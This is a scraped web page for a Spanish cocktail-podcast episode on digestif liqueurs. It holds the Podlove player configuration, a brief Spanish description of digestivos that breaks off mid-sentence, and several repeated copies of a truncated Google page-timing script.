document.addEventListener("DOMContentLoaded", function() { var player = document.getElementById("player-62f18c2ba9270"); podlovePlayerCache.add([{"url":"https://www.barspeakeasy.com/wp-json/podlove-web-player/shortcode/post/3310","data":{"title":"ABC Bar: Licores Digestivos","duration":"00:08:36","link":"https://www.barspeakeasy.com/podcast/abc-bar-licores-digestivos/","poster":"https://www.barspeakeasy.com/wp-content/uploads/portada.jpg","audio":[{"mimeType":"audio/x-m4a","url":"https://archive.org/download/ep36-1/EP36.m4a","size":"6800214","title":"AUDIO/X-M4A"}],"chapters":[],"show":{"title":"Detru00e1s del Bar","subtitle":"Noticias y Tendencias en Cocteleru00eda","link":"https://www.barspeakeasy.com"},"transcripts":[]}}, {"url":"https://www.barspeakeasy.com/wp-json/podlove-web-player/shortcode/config/episodios/theme/episodico","data":{"activeTab":"chapters","subscribe-button":{"feed":"https://www.barspeakeasy.com/podcast/feed/","clients":[{"id":"spotify","service":"7ascjOfw0IulBwhzQLI5U8"},{"id":"overcast","service":null},{"id":"pocket-casts","service":"podcast/5e7bc2e0-90a8-0138-ee68-0acc26574db2"},{"id":"podcast-addict","service":null},{"id":"google-podcasts","service":"https://podcasts.google.com/feed/aHR0cHM6Ly9iYXJzcGVha2Vhc3kuY29tL2ZlZWQvcG9kY2FzdC8_cmVkaXJlY3Q9bm8"},{"id":"apple-podcasts","service":"detr%C3%A1s-del-bar/id1465446898?uo=4"}]},"share":{"channels":["pinterest","whats-app","linkedin","facebook","twitter","mail","link"],"outlet":"https://cdn.podlove.org/web-player/5.x/share.html","sharePlaytime":true},"related-episodes":{"source":"disabled","value":null},"version":5,"theme":{"tokens":{"brand":"#9f6513","brandDark":"#9f6513","brandDarkest":"#000000","brandLightest":"#000000","shadeDark":"#807E7C","shadeBase":"#807E7C","contrast":"#FFFFFF","alt":"#fff"},"fonts":{"ci":{"name":"ci","family":["-apple-system","BlinkMacSystemFont","Segoe UI","Roboto","Helvetica","Arial","sans-serif","Apple Color Emoji","Segoe UI Emoji", "Segoe UI Symbol"],"src":[],"weight":800},"regular":{"name":"regular","family":["-apple-system","BlinkMacSystemFont","Segoe UI","Roboto","Helvetica","Arial","sans-serif","Apple Color Emoji","Segoe UI Emoji", "Segoe UI Symbol"],"src":[],"weight":300},"bold":{"name":"bold","family":["-apple-system","BlinkMacSystemFont","Segoe UI","Roboto","Helvetica","Arial","sans-serif","Apple Color Emoji","Segoe UI Emoji", "Segoe UI Symbol"],"src":[],"weight":700}}},"base":"https://cdn.podlove.org/web-player/5.x/"}}]); podlovePlayer(player, "https://www.barspeakeasy.com/wp-json/podlove-web-player/shortcode/post/3310", "https://www.barspeakeasy.com/wp-json/podlove-web-player/shortcode/config/episodios/theme/episodico").then(function() { player && player.classList.remove("podlove-web-player-loading"); }); }); .podlove-web-player.podlove-web-player-loading { opacity: 0; } Prueba todo lo nuevo que llegue a tu bar o lo que ya tengas y no conozcas. Eso amplía tu abanico de sabores y conocimientos. Recuerda que nuestra memoria funciona en base a los sabores que ya conocemos y recordamos. Tweet Definición de DigestivosSon aquellos facilitan o agilizan el proceso de digestión, evitando la pesadez de una comida fuerte y dando una sensación de satisfacción.Se sirven luego de la comida y después del café. Suelen ser cortos y consumirse sin hielo.Se recomienda tomarlos moderada y pausadamente para que resulten beneficiosos. Aparte de la función lógica de ser digestivo permiten: limpiar los sabores que quedan de las comida, ayudan a la absorción del estómago ayudando al riego sanguíneo.Características de los DigestivosSus sabores y características suelen s...

(function() { var b=window,f="chrome",g="tick",k="jstiming";(function(){function d(a){this.t={};this.tick=function(a,d,c){var e=void 0!=c?c:(new Date).getTime();this.t[a]=[e,d];if(void 0==c)try{b.console.timeStamp("CSI/"+a)}catch(h){}};this[g]("start",null,a)}var a;b.performance&&(a=b.performance.timing);var n=a?new d(a.responseStart):new d;b.jstiming={Timer:d,load:n};if(a){var c=a.navigationStart,h=a.responseStart;0=c&&(b[k].srt=h-c)}if(a){var e=b[k].load;0=c&&(e[g]("_wtsrt",void 0,c),e[g]("wtsrt_","_wtsrt",h),e[g]("tbsd_","wtsrt_"))}try{a=null, b[f]&&b[f].csi&&(a=Math.floor(b[f].csi().pageT),e&&0

(function() { var b=window,f="chrome",g="tick",k="jstiming";(function(){function d(a){this.t={};this.tick=function(a,d,c){var e=void 0!=c?c:(new Date).getTime();this.t[a]=[e,d];if(void 0==c)try{b.console.timeStamp("CSI/"+a)}catch(h){}};this[g]("start",null,a)}var a;b.performance&&(a=b.performance.timing);var n=a?new d(a.responseStart):new d;b.jstiming={Timer:d,load:n};if(a){var c=a.navigationStart,h=a.responseStart;0=c&&(b[k].srt=h-c)}if(a){var e=b[k].load;0=c&&(e[g]("_wtsrt",void 0,c),e[g]("wtsrt_","_wtsrt",h),e[g]("tbsd_","wtsrt_"))}try{a=null, b[f]&&b[f].csi&&(a=Math.floor(b[f].csi().pageT),e&&0

(function() { var b=window,f="chrome",g="tick",k="jstiming";(function(){function d(a){this.t={};this.tick=function(a,d,c){var e=void 0!=c?c:(new Date).getTime();this.t[a]=[e,d];if(void 0==c)try{b.console.timeStamp("CSI/"+a)}catch(h){}};this[g]("start",null,a)}var a;b.performance&&(a=b.performance.timing);var n=a?new d(a.responseStart):new d;b.jstiming={Timer:d,load:n};if(a){var c=a.navigationStart,h=a.responseStart;0=c&&(b[k].srt=h-c)}if(a){var e=b[k].load;0=c&&(e[g]("_wtsrt",void 0,c),e[g]("wtsrt_","_wtsrt",h),e[g]("tbsd_","wtsrt_"))}try{a=null, b[f]&&b[f].csi&&(a=Math.floor(b[f].csi().pageT),e&&0

(function() { var b=window,f="chrome",g="tick",k="jstiming";(function(){function d(a){this.t={};this.tick=function(a,d,c){var e=void 0!=c?c:(new Date).getTime();this.t[a]=[e,d];if(void 0==c)try{b.console.timeStamp("CSI/"+a)}catch(h){}};this[g]("start",null,a)}var a;b.performance&&(a=b.performance.timing);var n=a?new d(a.responseStart):new d;b.jstiming={Timer:d,load:n};if(a){var c=a.navigationStart,h=a.responseStart;0=c&&(b[k].srt=h-c)}if(a){var e=b[k].load;0=c&&(e[g]("_wtsrt",void 0,c),e[g]("wtsrt_","_wtsrt",h),e[g]("tbsd_","wtsrt_"))}try{a=null, b[f]&&b[f].csi&&(a=Math.floor(b[f].csi().pageT),e&&0

(function() { var b=window,f="chrome",g="tick",k="jstiming";(function(){function d(a){this.t={};this.tick=function(a,d,c){var e=void 0!=c?c:(new Date).getTime();this.t[a]=[e,d];if(void 0==c)try{b.console.timeStamp("CSI/"+a)}catch(h){}};this[g]("start",null,a)}var a;b.performance&&(a=b.performance.timing);var n=a?new d(a.responseStart):new d;b.jstiming={Timer:d,load:n};if(a){var c=a.navigationStart,h=a.responseStart;0=c&&(b[k].srt=h-c)}if(a){var e=b[k].load;0=c&&(e[g]("_wtsrt",void 0,c),e[g]("wtsrt_","_wtsrt",h),e[g]("tbsd_","wtsrt_"))}try{a=null, b[f]&&b[f].csi&&(a=Math.floor(b[f].csi().pageT),e&&0

(function() { var b=window,f="chrome",g="tick",k="jstiming";(function(){function d(a){this.t={};this.tick=function(a,d,c){var e=void 0!=c?c:(new Date).getTime();this.t[a]=[e,d];if(void 0==c)try{b.console.timeStamp("CSI/"+a)}catch(h){}};this[g]("start",null,a)}var a;b.performance&&(a=b.performance.timing);var n=a?new d(a.responseStart):new d;b.jstiming={Timer:d,load:n};if(a){var c=a.navigationStart,h=a.responseStart;0=c&&(b[k].srt=h-c)}if(a){var e=b[k].load;0=c&&(e[g]("_wtsrt",void 0,c),e[g]("wtsrt_","_wtsrt",h),e[g]("tbsd_","wtsrt_"))}try{a=null, b[f]&&b[f].csi&&(a=Math.floor(b[f].csi().pageT),e&&0

(function() { var b=window,f="chrome",g="tick",k="jstiming";(function(){function d(a){this.t={};this.tick=function(a,d,c){var e=void 0!=c?c:(new Date).getTime();this.t[a]=[e,d];if(void 0==c)try{b.console.timeStamp("CSI/"+a)}catch(h){}};this[g]("start",null,a)}var a;b.performance&&(a=b.performance.timing);var n=a?new d(a.responseStart):new d;b.jstiming={Timer:d,load:n};if(a){var c=a.navigationStart,h=a.responseStart;0=c&&(b[k].srt=h-c)}if(a){var e=b[k].load;0=c&&(e[g]("_wtsrt",void 0,c),e[g]("wtsrt_","_wtsrt",h),e[g]("tbsd_","wtsrt_"))}try{a=null, b[f]&&b[f].csi&&(a=Math.floor(b[f].csi().pageT),e&&0

(function() { var b=window,f="chrome",g="tick",k="jstiming";(function(){function d(a){this.t={};this.tick=function(a,d,c){var e=void 0!=c?c:(new Date).getTime();this.t[a]=[e,d];if(void 0==c)try{b.console.timeStamp("CSI/"+a)}catch(h){}};this[g]("start",null,a)}var a;b.performance&&(a=b.performance.timing);var n=a?new d(a.responseStart):new d;b.jstiming={Timer:d,load:n};if(a){var c=a.navigationStart,h=a.responseStart;0=c&&(b[k].srt=h-c)}if(a){var e=b[k].load;0=c&&(e[g]("_wtsrt",void 0,c),e[g]("wtsrt_","_wtsrt",h),e[g]("tbsd_","wtsrt_"))}try{a=null, b[f]&&b[f].csi&&(a=Math.floor(b[f].csi().pageT),e&&0